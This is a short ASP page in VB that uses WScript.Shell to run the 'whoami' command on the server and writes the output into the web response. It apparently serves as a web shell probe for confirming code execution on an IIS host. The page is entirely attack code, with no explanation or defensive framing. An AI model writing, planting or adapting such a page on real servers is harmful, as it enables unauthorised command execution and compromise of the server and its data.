<%@ Page Language="VB" Debug="true" %> <% Dim oShell oShell = CreateObject("WScript.Shell") Dim output output = oShell.Exec("whoami").StdOut.ReadAll() Response.Write("

" & output & "

") %>